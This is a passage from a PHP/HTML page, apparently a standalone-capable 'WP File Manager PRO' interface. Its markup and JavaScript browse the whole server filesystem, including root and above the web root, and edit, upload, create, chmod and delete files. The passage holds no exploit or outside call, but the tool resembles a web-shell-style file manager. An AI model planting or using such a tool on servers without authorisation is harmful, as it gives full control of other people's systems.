8px;border-radius:4px} .mclose:hover{background:var(--g);color:var(--t)} .mb{padding:20px;overflow-y:auto;flex:1} .mf{padding:14px 20px;border-top:1px solid var(--b);display:flex;justify-content:flex-end;gap:8px} .fg{margin-bottom:16px} .fg label{display:block;font-weight:500;font-size:12px;margin-bottom:6px} .inp{width:100%;padding:9px 12px;border:1px solid var(--b);border-radius:4px;font-size:13px;font-family:inherit;transition:all .2s;background:#fff;color:var(--t)} .inp:focus{border-color:var(--p);outline:none;box-shadow:0 0 0 2px rgba(34,113,177,.15)} .fhelp{font-size:11px;color:var(--tl);margin-top:4px} .etb{display:flex;align-items:center;justify-content:space-between;padding:10px 0;border-bottom:1px solid var(--b);margin-bottom:10px;flex-wrap:wrap;gap:10px} .efp{font-family:'Courier New',monospace;font-size:12px;color:var(--tl);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;flex:1;min-width:0} .editor{width:100%;min-height:500px;padding:16px;border:1px solid var(--b);border-radius:4px;font-family:'Courier New',Consolas,monospace;font-size:13px;line-height:1.6;background:#f9f9f9;color:var(--t);resize:vertical;outline:none;tab-size:4} .editor:focus{border-color:var(--p);background:#fff} .ua{border:2px dashed var(--b);border-radius:var(--r);padding:40px 20px;text-align:center;cursor:pointer} .ua:hover,.ua.drag{border-color:var(--p);background:var(--pl)} .ua i{font-size:48px;color:var(--p);margin-bottom:12px;display:block} .ua h4{font-size:14px;font-weight:500;margin-bottom:6px} .ua p{font-size:12px;color:var(--tl);margin:8px 0} .ul{margin-top:16px} .ui{display:flex;align-items:center;justify-content:space-between;padding:8px 12px;background:var(--gl);border-radius:4px;margin-bottom:6px;font-size:12px} .ui .name{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} .ui .size{color:var(--tl);margin:0 10px} .ui .st{color:var(--s);font-weight:500} .toasts{position:fixed;bottom:20px;right:20px;z-index:100001;display:flex;flex-direction:column;gap:8px} .toast{background:var(--dk);color:#fff;padding:12px 18px;border-radius:4px;box-shadow:0 4px 12px rgba(0,0,0,.2);font-size:13px;display:flex;align-items:center;gap:10px;min-width:280px;max-width:400px} .toast.success{background:var(--s)} .toast.error{background:var(--d)} .toast.warning{background:var(--w);color:var(--t)} .toast.info{background:var(--p)} .loading{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(255,255,255,.8);z-index:100002;align-items:center;justify-content:center;flex-direction:column;gap:16px} .loading.on{display:flex} .spinner{width:40px;height:40px;border:3px solid var(--g);border-top-color:var(--p);border-radius:50%;animation:spin .8s linear infinite} @keyframes spin{to{transform:rotate(360deg)}} .ltxt{font-size:13px;color:var(--tl);font-weight:500} .dd{position:relative} .ddm{display:none;position:absolute;top:100%;right:0;background:#fff;border:1px solid var(--b);border-radius:6px;box-shadow:0 4px 16px rgba(0,0,0,.15);padding:6px 0;min-width:200px;z-index:1000;margin-top:4px} .ddm.on{display:block} .ddm a{display:flex;align-items:center;gap:10px;padding:7px 14px;font-size:12px;color:var(--t);text-decoration:none;cursor:pointer} .ddm a:hover{background:var(--pl);color:var(--p)} .ddm a i{width:14px;text-align:center;color:var(--tl)} .ddm a:hover i{color:var(--p)} .dvd{height:1px;background:var(--b);margin:4px 0} .dng{color:var(--d)!important} @media(max-width:1100px){.sb{width:220px}.lh,.fr{grid-template-columns:40px 1fr 80px 80px 130px}} @media(max-width:900px){.lh,.fr{grid-template-columns:40px 1fr 80px 180px}.lm,.lh>div:nth-child(5){display:none}.sb{display:none}} @media(max-width:700px){.lh,.fr{grid-template-columns:36px 1fr 140px}.lsz,.ltp,.lm{display:none}.lh>div:nth-child(3),.lh>div:nth-child(4),.lh>div:nth-child(5){display:none}.content{flex-direction:column}} </style> </head> <body> <div class="app"> <div class="hd"> <div class="logo"><i class="fas fa-folder-open"></i> WP File Manager <span class="pro">PRO</span></div> <div class="hd-r"> <button class="btn btn-i" id="refresh" title="Refresh"><i class="fas fa-sync-alt"></i></button> <button class="btn btn-i" id="upload-trigger" title="Upload"><i class="fas fa-cloud-upload-alt"></i></button> <button class="btn btn-i" id="new-folder" title="New Folder"><i class="fas fa-folder-plus"></i></button> <button class="btn btn-i" id="new-file" title="New File"><i class="fas fa-file-medical"></i></button> <div class="dd"> <button class="btn btn-i" id="more-btn"><i class="fas fa-ellipsis-v"></i></button> <div class="ddm" id="more-menu"> <a data-action="select-all"><i class="fas fa-check-double"></i> Select All</a> <a data-action="deselect-all"><i class="fas fa-times"></i> Deselect All</a> <div class="dvd"></div> <a data-action="paste"><i class="fas fa-paste"></i> Paste</a> <a data-action="archive-selected"><i class="fas fa-file-archive"></i> Archive Selected</a> <div class="dvd"></div> <a data-action="delete-selected" class="dng"><i class="fas fa-trash-alt"></i> Delete Selected</a> </div> </div> </div> </div> <div class="tb"> <div class="tb-l"> <button class="tbtn" id="up-btn" title="Up"><i class="fas fa-arrow-up"></i></button> <button class="tbtn" id="home-btn" title="Home"><i class="fas fa-home"></i></button> <button class="tbtn" id="root-btn" title="Filesystem Root"><i class="fas fa-server"></i></button> <div class="pbar"> <i class="fas fa-folder-open"></i> <input type="text" id="path-input" value="<?= esc_attr($current) ?>" spellcheck="false"> <button class="pgo" id="path-go"><i class="fas fa-arrow-right"></i></button> </div> </div> <div class="tb-r"> <div class="search"> <i class="fas fa-search"></i> <input type="text" id="search" placeholder="Search..."> </div> </div> </div> <div class="bc" id="breadcrumb"> <?php foreach ($breadcrumb as $i => $c): ?> <?php if ($i > 0): ?><span class="sep"><i class="fas fa-chevron-right"></i></span><?php endif; ?> <a data-path="<?= esc_attr($c['path']) ?>"> <?php if ($i === 0): ?><i class="fas fa-server"></i> <?php endif; ?> <?= esc_html($c['name']) ?> </a> <?php endforeach; ?> </div> <div class="content"> <div class="sb"> <div class="sbs"> <div class="sbt"><i class="fas fa-bolt"></i> Quick Access</div> <a class="sbl" data-path="<?= esc_attr(dirname(__FILE__)) ?>"><i class="fas fa-file-code"></i> Script Folder</a> <a class="sbl" data-path="<?= esc_attr($doc_root) ?>"><i class="fas fa-globe"></i> Web Root</a> <a class="sbl" data-path="<?= esc_attr(dirname($doc_root)) ?>"><i class="fas fa-level-up-alt"></i> Above Web Root</a> <a class="sbl" data-path="<?= esc_attr($home) ?>"><i class="fas fa-user"></i> Home</a> <a class="sbl" data-path="/"><i class="fas fa-server"></i> Filesystem Root</a> </div> <div class="sbs"> <div class="sbt"><i class="fas fa-info-circle"></i> Storage</div> <div class="sbar"><div class="sfill" style="width:<?= esc_attr($disk_percent) ?>%"></div></div> <div class="stxt"> <span><?= wpfm_size_format($disk_total - $disk_free) ?> used</span> <span><?= wpfm_size_format($disk_free) ?> free</span> </div> </div> <div class="sbs"> <div class="sbt"><i class="fas fa-tachometer-alt"></i> System</div> <div class="sir"><span>PHP</span><span><?= esc_html(phpversion()) ?></span></div> <div class="sir"><span>Upload</span><span><?= wpfm_size_format(wpfm_max_upload()) ?></span></div> <div class="sir"><span>Memory</span><span><?= esc_html(ini_get('memory_limit')) ?></span></div> <div class="sir"><span>Mode</span><span><?= defined('WPFM_STANDALONE') ? 'Standalone' : 'WordPress' ?></span></div> </div> </div> <div class="main"> <div class="selbar" id="selbar"> <div class="selinfo"><span id="selcount">0</span> items selected</div> <div class="selact"> <button class="btn btn-sm" data-selaction="copy"><i class="fas fa-copy"></i> Copy</button> <button class="btn btn-sm" data-selaction="move"><i class="fas fa-arrows-alt"></i> Move</button> <button class="btn btn-sm" data-selaction="archive"><i class="fas fa-file-archive"></i> Archive</button> <button class="btn btn-sm btn-d" data-selaction="delete"><i class="fas fa-trash-alt"></i> Delete</button> <button class="btn btn-sm btn-g" data-selaction="deselect"><i class="fas fa-times"></i></button> </div> </div> <div class="fl"> <div class="lh"> <div class="lc"><input type="checkbox" id="check-all"></div> <div>Name</div> <div>Size</div> <div>Type</div> <div class="lm">Modified</div> <div>Actions</div> </div> <div class="lb" id="list-body"> <?php echo wpfm_render_list($current); ?> </div> </div> </div> </div> <div class="status"> <div><span id="status-text">Ready</span></div> <div class="status-r"> <span id="item-count"><?= wpfm_count($current) ?> items</span> <span class="status-sep">|</span> <span>Path: <span id="status-path"><?= esc_html($current) ?></span></span> </div> </div> </div> <!-- MODALS --> <div class="modal" id="editor-modal"> <div class="mc lg"> <div class="mh"><h3><i class="fas fa-code"></i> <span id="editor-title">Edit File</span></h3><button class="mclose" data-close="editor-modal"><i class="fas fa-times"></i></button></div> <div class="mb"> <div class="etb"> <span class="efp" id="editor-path"></span> <button class="btn btn-sm btn-s" id="editor-save"><i class="fas fa-save"></i> Save</button> </div> <textarea id="editor-content" class="editor" spellcheck="false"></textarea> </div> </div> </div> <div class="modal" id="rename-modal"> <div class="mc"> <div class="mh"><h3><i class="fas fa-pen"></i> Rename</h3><button class="mclose" data-close="rename-modal"><i class="fas fa-times"></i></button></div> <div class="mb"> <div class="fg"> <label>New Name</label> <input type="text" id="rename-input" class="inp"> <div class="fhelp" id="rename-current"></div> </div> </div> <div class="mf"> <button class="btn btn-g" data-close="rename-modal">Cancel</button> <button class="btn btn-p" id="rename-confirm"><i class="fas fa-check"></i> Rename</button> </div> </div> </div> <div class="modal" id="newfolder-modal"> <div class="mc"> <div class="mh"><h3><i class="fas fa-folder-plus"></i> New Folder</h3><button class="mclose" data-close="newfolder-modal"><i class="fas fa-times"></i></button></div> <div class="mb"><div class="fg"><label>Folder Name</label><input type="text" id="newfolder-input" class="inp" placeholder="Enter folder name"></div></div> <div class="mf"> <button class="btn btn-g" data-close="newfolder-modal">Cancel</button> <button class="btn btn-p" id="newfolder-confirm"><i class="fas fa-check"></i> Create</button> </div> </div> </div> <div class="modal" id="newfile-modal"> <div class="mc"> <div class="mh"><h3><i class="fas fa-file-medical"></i> New File</h3><button class="mclose" data-close="newfile-modal"><i class="fas fa-times"></i></button></div> <div class="mb"><div class="fg"><label>File Name</label><input type="text" id="newfile-input" class="inp" placeholder="e.g. myfile.php"></div></div> <div class="mf"> <button class="btn btn-g" data-close="newfile-modal">Cancel</button> <button class="btn btn-p" id="newfile-confirm"><i class="fas fa-check"></i> Create</button> </div> </div> </div> <div class="modal" id="chmod-modal"> <div class="mc"> <div class="mh"><h3><i class="fas fa-lock"></i> Permissions</h3><button class="mclose" data-close="chmod-modal"><i class="fas fa-times"></i></button></div> <div class="mb"> <div class="fg"> <label>Permissions (octal)</label> <input type="text" id="chmod-input" class="inp" value="755" maxlength="4"> <div class="fhelp">Example: 755 folders, 644 files</div> </div> </div> <div class="mf"> <button class="btn btn-g" data-close="chmod-modal">Cancel</button> <button class="btn btn-p" id="chmod-confirm"><i class="fas fa-check"></i> Apply</button> </div> </div> </div> <div class="modal" id="upload-modal"> <div class="mc"> <div class="mh"><h3><i class="fas fa-cloud-upload-alt"></i> Upload</h3><button class="mclose" data-close="upload-modal"><i class="fas fa-times"></i></button></div> <div class="mb"> <div class="ua" id="upload-area"> <i class="fas fa-cloud-upload-alt"></i> <h4>Drag & Drop files here</h4> <p>or</p> <button class="btn btn-p" id="upload-browse">Browse Files</button> <input type="file" id="upload-input" multiple style="display:none;"> </div> <div class="ul" id="upload-list"></div> </div> <div class="mf"> <button class="btn btn-g" data-close="upload-modal">Cancel</button> <button class="btn btn-p" id="upload-confirm"><i class="fas fa-upload"></i> Upload</button> </div> </div> </div> <div class="modal" id="confirm-modal"> <div class="mc"> <div class="mh"><h3><i class="fas fa-exclamation-triangle" style="color:var(--w)"></i> Confirm</h3><button class="mclose" data-close="confirm-modal"><i class="fas fa-times"></i></button></div> <div class="mb"><p id="confirm-message"></p></div> <div class="mf"> <button class="btn btn-g" data-close="confirm-modal">Cancel</button> <button class="btn btn-d" id="confirm-yes"><i class="fas fa-check"></i> Confirm</button> </div> </div> </div> <div class="toasts" id="toasts"></div> <div class="loading" id="loading"><div class="spinner"></div><div class="ltxt">Processing...</div></div> <script> (function(){ 'use strict'; var CFG = { currentPath: <?= json_encode($current) ?>, ajaxUrl: <?= json_encode($ajax_url) ?>, selfUrl: <?= json_encode($self_url) ?>, homeDir: <?= json_encode($home) ?>, isStandalone: <?= defined('WPFM_STANDALONE') ? 'true' : 'false' ?>, clipboard: null, uploadQueue: [] }; function $(s, c){ return (c || document).querySelector(s); } function $$(s, c){ return Array.prototype.slice.call((c || document).querySelectorAll(s)); } function toast(msg, type){ type = type || 'info'; var c = $('#toasts'); var el = document.createElement('div'); el.className = 'toast ' + type; var ic = type === 'success' ? 'check-circle' : type === 'error' ? 'exclamation-circle' : type === 'warning' ? 'exclamation-triangle' : 'info-circle'; el.innerHTML = '<i class="fas fa-' + ic + '"></i><span>' + msg + '</span>'; c.appendChild(el); setTimeout(function(){ el.style.opacity = '0'; el.style.transform = 'translateX(100%)'; el.style.transition = 'all .3s'; setTimeout(function(){ el.remove(); }, 300); }, 3500); } function showLoading(t){ var e = $('#loading'); if (t) $('.ltxt', e).textContent = t; e.classList.add('on'); } function hideLoading(){ $('#loading').classList.remove('on'); } function openModal(id){ $('#' + id).classList.add('on'); } function closeModal(id){ $('#' + id).classList.remove('on'); } function api(op, params, callback){ params = params || {}; var xhr = new XMLHttpRequest(); xhr.open('POST', CFG.ajaxUrl, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8'); xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xhr.onload = function(){ var res; try { res = JSON.parse(xhr.responseText); } catch(e) { console.error('Response:', xhr.responseText); res = { success: false, data: { message: 'Invalid response' } }; } callback(res); }; xhr.onerror = function(){ callback({ success: false, data: { message: 'Network error' } }); }; var parts = []; if (CFG.isStandalone) parts.push('wpfm_ajax=1'); else parts.push('action=wpfm_action'); parts.push('wpfm_op=' + encodeURIComponent(op)); for (var k in params) { if (k === 'items' && Array.isArray(params[k])) { params[k].forEach(function(v){ parts.push('items[]=' + encodeURIComponent(v)); }); } else { parts.push(encodeURIComponent(k) + '=' + encodeURIComponent(params[k])); } } xhr.send(parts.join('&')); } function navigateTo(path){ showLoading('Loading...'); api('list', { path: path }, function(res){ hideLoading(); if (res && res.success) { CFG.currentPath = res.data.path; $('#path-input').value = res.data.path; $('#status-path').textContent = res.data.path; $('#list-body').innerHTML = res.data.html; $('#item-count').textContent = res.data.count + ' items'; renderBreadcrumb(res.data.breadcrumb); clearSelection(); bindRowEvents(); } else { toast((res && res.data && res.data.message) || 'Failed', 'error'); } }); } function renderBreadcrumb(crumbs){ var html = ''; crumbs.forEach(function(c, i){ if (i > 0) html += '<span class="sep"><i class="fas fa-chevron-right"></i></span>'; html += '<a data-path="' + escAttr(c.path) + '">'; if (i === 0) html += '<i class="fas fa-server"></i> '; html += escHtml(c.name) + '</a>'; }); $('#breadcrumb').innerHTML = html; } function escHtml(s){ var d = document.createElement('div'); d.textContent = String(s); return d.innerHTML; } function escAttr(s){ return String(s).replace(/&/g,'&').replace(/"/g,'"').replace(/</g,'<').replace(/>/g,'>'); } function basename(p){ return String(p).split('/').filter(Boolean).pop(); } function getSelectedPaths(){ return $$('.item-check:checked', $('#list-body')).map(function(cb){ return cb.dataset.path; }); } function clearSelection(){ $$('.item-check').forEach(function(cb){ cb.checked = false; }); $$('.fr').forEach(function(r){ r.classList.remove('sel'); }); updateSelectionBar(); } function updateSelectionBar(){ var sel = getSelectedPaths(); var bar = $('#selbar'); if (sel.length > 0) { bar.classList.add('on'); $('#selcount').textContent = sel.length; } else bar.classList.remove('on'); var all = $$('.item-check'); var ca = $('#check-all'); if (ca && all.length > 0) { ca.checked = sel.length === all.length && sel.length > 0; ca.indeterminate = sel.length > 0 && sel.length < all.length; } } function bindRowEvents(){ $$('.fr', $('#list-body')).forEach(function(row){ row.addEventListener('dblclick', function(e){ if (e.target.closest('.abtn') || e.target.closest('.lc')) return; var path = row.dataset.path; var type = row.dataset.type; if (type === 'folder') navigateTo(path); else if (type === 'file') openEditor(path); }); row.addEventListener('click', function(e){ if (e.target.closest('.abtn') || e.target.closest('.lc')) return; if (row.classList.contains('parent')) { navigateTo(row.dataset.path); return; } var cb = row.querySelector('.item-check'); if (cb) { cb.checked = !cb.checked; row.classList.toggle('sel', cb.checked); updateSelectionBar(); } }); }); $$('.item-check', $('#list-body')).forEach(function(cb){ cb.addEventListener('click', function(e){ e.stopPropagation(); }); cb.addEventListener('change', function(){ var row = cb.closest('.fr'); if (row) row.classList.toggle('sel', cb.checked); updateSelectionBar(); }); }); $$('.abtn', $('#list-body')).forEach(function(btn){ btn.addEventListener('click', function(e){ e.preventDefault(); e.stopPropagation(); var row = btn.closest('.fr'); if (!row) return; handleRowAction(btn.dataset.action, row); }); }); } function handleRowAction(action, row){ var path = row.dataset.path; var name = row.dataset.name; switch(action){ case 'edit': openEditor(path); break; case 'rename': openRenameModal(path, name); break; case 'chmod': openChmodModal(path); break; case 'delete': confirmDelete([path]); break; case 'download': downloadFile(path); break; case 'archive': archiveItems([path]); break; case 'extract': extractArchive(path); break; } } function openEditor(path){ showLoading('Loading...'); api('read', { path: path }, function(res){ hideLoading(); if (res && res.success) { $('#editor-content').value = res.data.content; $('#editor-title').textContent = 'Edit: ' + res.data.name; $('#editor-path').textContent = res.data.path; $('#editor-content').dataset.path = res.data.path; openModal('editor-modal'); setTimeout(function(){ $('#editor-content').focus(); }, 150); } else toast((res && res.data && res.data.message) || 'Failed', 'error'); }); } function saveEditor(){ var path = $('#editor-content').dataset.path; var content = $('#editor-content').value; if (!path) return; showLoading('Saving...'); api('save', { path: path, content: content }, function(res){ hideLoading(); if (res && res.success) toast('File saved', 'success'); else toast((res && res.data && res.data.message) || 'Save failed', 'error'); }); } function openRenameModal(path, name){ $('#rename-input').value = name; $('#rename-input').dataset.path = path; $('#rename-current').textContent = 'Current: ' + name; openModal('rename-modal'); setTimeout(function(){ var i = $('#rename-input'); i.focus(); i.select(); }, 150); } function confirmRename(){ var path = $('#rename-input').dataset.path; var newName = $('#rename-input').value.trim(); if (!newName) return; showLoading('Renaming...'); api('rename', { old_path: path, new_name: newName }, function(res){ hideLoading(); if (res && res.success) { closeModal('rename-modal'); toast(res.data.message || 'Renamed', 'success'); navigateTo(CFG.currentPath); } else toast((res && res.data && res.data.message) || 'Rename failed', 'error'); }); } function openChmodModal(path){ $('#chmod-input').dataset.path = path; $('#chmod-input').value = '755'; openModal('chmod-modal'); setTimeout(function(){ $('#chmod-input').focus(); }, 150); } function confirmChmod(){ var path = $('#chmod-input').dataset.path; var mode = $('#chmod-input').value.trim(); if (!/^[0-7]{3,4}$/.test(mode)) { toast('Use 755 or 644 format', 'error'); return; } showLoading('Changing...'); api('chmod', { path: path, mode: mode }, function(res){ hideLoading(); if (res && res.success) { closeModal('chmod-modal'); toast(res.data.message || 'Changed', 'success'); navigateTo(CFG.currentPath); } else toast((res && res.data && res.data.message) || 'Failed', 'error'); }); } function confirmDelete(paths){ if (!paths || paths.length === 0) { toast('No items', 'warning'); return; } var msg = paths.length === 1 ? 'Permanently delete "' + basename(paths[0]) + '"?' : 'Permanently delete ' + paths.length + ' items?'; $('#confirm-message').textContent = msg + ' Cannot be undone.'; openModal('confirm-modal'); $('#confirm-yes').onclick = function(){ closeModal('confirm-modal'); showLoading('Deleting...'); api('delete', { items: paths }, function(res){ hideLoading(); if (res && res.success) { toast(res.data.message || 'Deleted', 'success'); clearSelection(); navigateTo(CFG.currentPath); } else toast((res && res.data && res.data.message) || 'Failed', 'error'); }); }; } function downloadFile(path){ var url = CFG.isStandalone ? CFG.selfUrl + '?wpfm_op=download&path=' + encodeURIComponent(path) : CFG.ajaxUrl + '?action=wpfm_action&wpfm_op=download&path=' + encodeURIComponent(path); var a = document.createElement('a'); a.href = url; a.download = basename(path); document.body.appendChild(a); a.click(); a.remove(); } function archiveItems(paths){ if (!paths || paths.length === 0) { toast('No items', 'warning'); return; } var name = prompt('Archive name:', 'archive_' + Date.now() + '.zip'); if (!name) return; showLoading('Creating...'); api('archive', { items: paths, path: CFG.currentPath, archive_name: name }, function(res){ hideLoading(); if (res && res.success) { toast(res.data.message || 'Created', 'success'); navigateTo(CFG.currentPath); } else toast((res && res.data && res.data.message) || 'Failed', 'error'); }); } function extractArchive(path){ showLoading('Extracting...'); api('extract', { archive: path, destination: CFG.currentPath }, function(res){ hideLoading(); if (res && res.success) { toast(res.data.message || 'Extracted', 'success'); navigateTo(CFG.currentPath); } else toast((res && res.data && res.data.message) || 'Failed', 'error'); }); } function copyItem(path){ CFG.clipboard = { action: 'copy', path: path }; toast('Copied. Navigate & Paste.', 'info'); } function moveItem(path){ CFG.clipboard = { action: 'move', path: path }; toast('Ready. Navigate & Paste.', 'info'); } function pasteItem(){ if (!CFG.clipboard) { toast('Clipboard empty', 'warning'); return; } var action = CFG.clipboard.action; showLoading(action === 'copy' ? 'Copying...' : 'Moving...'); api(action, { source: CFG.clipboard.path, destination: CFG.currentPath }, function(res){ hideLoading(); if (res && res.success) { toast(res.data.message || 'Done', 'success'); CFG.clipboard = null; navigateTo(CFG.currentPath); } else toast((res && res.data && res.data.message) || 'Failed', 'error'); }); } function addFiles(files){ for (var i = 0; i < files.length; i++) CFG.uploadQueue.push(files[i]); renderUploadQueue(); } function renderUploadQueue(){ var list = $('#upload-list'); list.innerHTML = ''; CFG.uploadQueue.forEach(function(file, idx){ var el = document.createElement('div'); el.className = 'ui'; el.innerHTML = '<span class="name">' + escHtml(file.name) + '</span><span class="size">' + formatBytes(file.size) + '</span><span class="st" data-idx="' + idx + '">Pending</span>'; list.appendChild(el); }); } function uploadNext(){ var idx = -1; for (var i = 0; i < CFG.uploadQueue.length; i++) if (!CFG.uploadQueue[i].uploaded) { idx = i; break; } if (idx === -1) { toast('All uploaded', 'success'); closeModal('upload-modal'); CFG.uploadQueue = []; $('#upload-list').innerHTML = ''; navigateTo(CFG.currentPath); return; } uploadOne(CFG.uploadQueue[idx], idx); } function uploadOne(file, idx){ var st = $('.ui .st[data-idx="' + idx + '"]'); if (st) st.textContent = 'Uploading...'; var fd = new FormData(); fd.append('file', file); fd.append('path', CFG.currentPath); fd.append('wpfm_op', 'upload'); if (CFG.isStandalone) fd.append('wpfm_ajax', '1'); else fd.append('action', 'wpfm_action'); var xhr = new XMLHttpRequest(); xhr.open('POST', CFG.ajaxUrl, true); xhr.upload.onprogress = function(e){ if (e.lengthComputable && st) st.textContent = Math.round((e.loaded / e.total) * 100) + '%'; }; xhr.onload = function(){ try { var res = JSON.parse(xhr.responseText); if (res.success) { if (st) st.textContent = '✓ Done'; CFG.uploadQueue[idx].uploaded = true; uploadNext(); } else { if (st) st.textContent = '✗ Failed'; toast((res.data && res.data.message) || 'Upload failed', 'error'); } } catch(e) { if (st) st.textContent = '✗ Error'; toast('Upload error', 'error'); } }; xhr.onerror = function(){ if (st) st.textContent = '✗ Error'; toast('Network error', 'error'); }; xhr.send(fd); } function formatBytes(b){ if (b === 0) return '0 B'; var k = 1024, u = ['B','KB','MB','GB','TB']; var i = Math.floor(Math.log(b) / Math.log(k)); return parseFloat((b / Math.pow(k, i)).toFixed(2)) + ' ' + u[i]; } function bindUI(){ $('#refresh').addEventListener('click', function(){ navigateTo(CFG.currentPath); }); $('#upload-trigger').addEventListener('click', function(){ CFG.uploadQueue = []; $('#upload-list').innerHTML = ''; openModal('upload-modal'); }); $('#new-folder').addEventListener('click', function(){ $('#newfolder-input').value = ''; openModal('newfolder-modal'); setTimeout(function(){ $('#newfolder-input').focus(); }, 150); }); $('#new-file').addEventListener('click', function(){ $('#newfile-input').value = ''; openModal('newfile-modal'); setTimeout(function(){ $('#newfile-input').focus(); }, 150); }); $('#more-btn').addEventListener('click', function(e){ e.stopPropagation(); $('#more-menu').classList.toggle('on'); }); document.addEventListener('click', function(e){ if (!e.target.closest('.dd')) $('#more-menu').classList.remove('on'); }); $$('#more-menu a').forEach(function(a){ a.addEventListener('click', function(e){ e.preventDefault(); var action = a.dataset.action; $('#more-menu').classList.remove('on'); switch(action){ case 'select-all': $$('.item-check', $('#list-body')).forEach(function(cb){ cb.checked = true; var r = cb.closest('.fr'); if (r) r.classList.add('sel'); }); updateSelectionBar(); break; case 'deselect-all': clearSelection(); break; case 'paste': pasteItem(); break; case 'archive-selected': archiveItems(getSelectedPaths()); break; case 'delete-selected': confirmDelete(getSelectedPaths()); break; } }); }); $('#up-btn').addEventListener('click', function(){ var parent = CFG.currentPath.replace(/\/$/, '').split('/').slice(0, -1).join('/'); if (parent === '') parent = '/'; if (parent) navigateTo(parent + '/'); }); $('#home-btn').addEventListener('click', function(){ navigateTo(CFG.homeDir); }); $('#root-btn').addEventListener('click', function(){ navigateTo('/'); }); $('#path-go').addEventListener('click', function(){ navigateTo($('#path-input').value); }); $('#path-input').addEventListener('keypress', function(e){ if (e.key === 'Enter') navigateTo(this.value); }); $('#breadcrumb').addEventListener('click', function(e){ var a = e.target.closest('a[data-path]'); if (a) { e.preventDefault(); navigateTo(a.dataset.path); } }); $$('.sbl').forEach(function(a){ a.addEventListener('click', function(e){ e.preventDefault(); navigateTo(a.dataset.path); }); }); $('#search').addEventListener('input', function(){ var q = this.value.toLowerCase().trim(); $$('.fr', $('#list-body')).forEach(function(r){ var n = (r.dataset.name || '').toLowerCase(); r.style.display = (q === '' || n.indexOf(q) !== -1) ? '' : 'none'; }); }); $('#check-all').addEventListener('change', function(){ var c = this.checked; $$('.item-check', $('#list-body')).forEach(function(cb){ cb.checked = c; var r = cb.closest('.fr'); if (r) r.classList.toggle('sel', c); }); updateSelectionBar(); }); $$('#selbar [data-selaction]').forEach(function(b){ b.addEventListener('click', function(){ var a = b.dataset.selaction; var sel = getSelectedPaths(); switch(a){ case 'deselect': clearSelection(); break; case 'copy': if (sel.length === 1) copyItem(sel[0]); else toast('Select one item', 'warning'); break; case 'move': if (sel.length === 1) moveItem(sel[0]); else toast('Select one item', 'warning'); break; case 'archive': archiveItems(sel); break; case 'delete': confirmDelete(sel); break; } }); }); $('#editor-save').addEventListener('click', saveEditor); $('#rename-confirm').addEventListener('click', confirmRename); $('#rename-input').addEventListener('keypress', function(e){ if (e.key === 'Enter') confirmRename(); }); $('#chmod-confirm').addEventListener('click', confirmChmod); $('#newfolder-confirm').addEventListener('click', function(){ var name = $('#newfolder-input').value.trim(); if (!name) return; showLoading('Creating...'); api('create', { path: CFG.currentPath, name: name, type: 'folder' }, function(res){ hideLoading(); if (res && res.success) { closeModal('newfolder-modal'); toast(res.data.message || 'Created', 'success'); navigateTo(CFG.currentPath); } else toast((res && res.data && res.data.message) || 'Failed', 'error'); }); }); $('#newfolder-input').addEventListener('keypress', function(e){ if (e.key === 'Enter') $('#newfolder-confirm').click(); }); $('#newfile-confirm').addEventListener('click', function(){ var name = $('#newfile-input').value.trim(); if (!name) return; showLoading('Creating...'); api('create', { path: CFG.currentPath, name: name, type: 'file' }, function(res){ hideLoading(); if (res && res.success) { closeModal('newfile-modal'); toast(res.data.message || 'Created', 'success'); navigateTo(CFG.currentPath); } else toast((res && res.data && res.data.message) || 'Failed', 'error'); }); }); $('#newfile-input').addEventListener('keypress', function(e){ if (e.key === 'Enter') $('#newfile-confirm').click(); }); $('#upload-browse').addEventListener('click', function(e){ e.stopPropagation(); $('#upload-input').click(); }); $('#upload-input').addEventListener('change', function(){ addFiles(this.files); this.value = ''; }); var ua = $('#upload-area'); ua.addEventListener('click', function(e){ if (e.target.tagName !== 'BUTTON') $('#upload-input').click(); }); ['dragenter','dragover'].forEach(function(ev){ ua.addEventListener(ev, function(e){ e.preventDefault(); ua.classList.add('drag'); }); }); ['dragleave','drop'].forEach(function(ev){ ua.addEventListener(ev, function(e){ e.preventDefault(); ua.classList.remove('drag'); }); }); ua.addEventListener('drop', function(e){ if (e.dataTransfer.files.length) addFiles(e.dataTransfer.files); }); $('#upload-confirm').addEventListener('click', function(){ if (CFG.uploadQueue.length === 0) { toast('No files', 'warning'); return; } uploadNext(); }); $$('[data-close]').forEach(function(b){ b.addEventListener('click', function(){ closeModal(b.dataset.close); }); }); $$('.modal').forEach(function(m){ m.addEventListener('click', function(e){ if (e.target === m) m.classList.remove('on'); }); }); document.addEventListener('keydown', function(e){ if (e.target.matches('input, textarea')) return; if (e.key === 'Escape') $$('.modal.on').forEach(function(m){ m.classList.remove('on'); }); if (e.ctrlKey && e.key === 'a') { e.preventDefault(); $$('.item-check', $('#list-body')).forEach(function(cb){ cb.checked = true; var r = cb.closest('.fr'); if (r) r.classList.add('sel'); }); updateSelectionBar(); } if (e.key === 'Delete') { var s = getSelectedPaths(); if (s.length) confirmDelete(s); } if (e.ctrlKey && e.key === 's' && $('#editor-modal').classList.contains('on')) { e.preventDefault(); saveEditor(); } }); } document.addEventListener('DOMContentLoaded', function(){ bindUI(); bindRowEvents(); updateSelectionBar(); console.log('WP File Manager Pro v9.0.0 [' + (CFG.isStandalone ? 'standalone' : 'wordpress') + ']'); }); })(); </script> </body> </html> <?php } // ============================================ // STANDALONE BOOT // ============================================ if (defined('WPFM_STANDALONE')) { wpfm_render_page(); }